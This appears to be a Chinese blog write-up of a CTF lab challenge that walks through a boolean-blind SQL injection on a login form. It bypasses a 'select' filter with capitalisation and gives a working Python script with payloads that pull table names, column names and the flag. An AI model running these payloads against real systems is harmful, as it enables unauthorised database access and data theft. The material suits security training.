i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)

题目链接:

https://www.ichunqiu.com/battalion?t=1&r=68487

解题思路

1、首先点击login.php,输入进行尝试

输入admin显示账户或者密码错误
在这里插入图片描述

而输入其他显示账号不存在
在这里插入图片描述

这里可以初步猜测用户名就是admin

2、开始尝试是否存在注入

输入admin’,显示账户不存在,而输入admin’#显示账户或密码错误
在这里插入图片描述
这表明存在注入漏洞,并且为字符型漏洞。

3、这里可以判断列字段的个数,但是没有回显此步可以省略

在这里插入图片描述
可以判断为3列

4、由于没有回显,故只能尝试盲注

在盲注之前,根据一些系列测试可以发现此题过滤了select
但是可以大写绕过。

5、抓包分析

在这里插入图片描述
post提交方式,参数如下为:name和pass
正确回显:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
在这里插入图片描述
错误回显:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
在这里插入图片描述
根据不同的回显编写脚本,这里采用布尔盲注,经测试,时间盲注也是可以,但是执行时间较长。

6、编写脚本

import requests

def Get(url):
    result = ''
    for i in range(1,100):
        left = 32
        right = 128
        mid = (left+right)//2
        while left<right:
            #查询表名
            # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
            #        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)

            #查询列名
            # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
            #        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)

            #根据表名和列名查询字段值
            name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)
            
            data = {"name":name,"pass":"1223234"}
            res = requests.post(url,data)
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
                left = mid+1
            else:
                right = mid
            mid = (left+right)//2
        #查询结果结束
        if mid==32:
            break
        result += chr(mid)
        print(result)
    print(result)

Get('http://eci-2ze7rwkw5ezyr8olv58h.cloudeci1.ichunqiu.com/login.php')

查询表名结果:
在这里插入图片描述
查询列名结果:
在这里插入图片描述
查询相关的值
在这里插入图片描述
得到flag: n1book{login_sqli_is_nice}

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFer成长中,SQL注入是一个重要的技术点。SQL注入是一种利用用户输入数据不当,从而欺骗数据库执行恶意操作的攻击方式。在CTF比赛中,了解和掌握SQL注入技术可以帮助你解决一些与数据库相关的题目。 首先,你需要了解SQL注入的原理和基本概念。SQL注入通常发生在应用程序与数据库之间的交互过程中。当应用程序未能正确过滤用户输入数据,并且将用户输入直接拼接到SQL查询语句中时,攻击者可以通过构造恶意输入来修改、删除或绕过原本应该执行的查询操作,从而获取敏感信息或控制数据库。 接下来,你需要学习一些常见的SQL注入技巧和工具。例如,可以使用单引号 `'` 来进行字符串注入,使用注释符 `--` 来注释掉原本的查询语句,使用 UNION 语句来进行查询结果的合并等等。同时,了解一些常见的防御措施,如参数化查询、输入验证和输出编码等,可以帮助你更好地理解和应对SQL注入攻击。 在实践中,你可以尝试挑战一些有关SQL注入的CTF题目。这些题目通常会提供一个具有漏洞的应用程序和一个数据库,你需要通过利用SQL注入漏洞来获取敏感信息或执行特定操作。通过解决这些题目,你可以加深对SQL注入的理解,并且熟悉常见的攻击场景和解决方法。 最后,记得在学习和实践过程中保持合法合规。只在合法授权的情况下进行演练和挑战,切勿用于非法用途。同时,及时更新和修补应用程序的漏洞,以保护自己和他人的信息安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值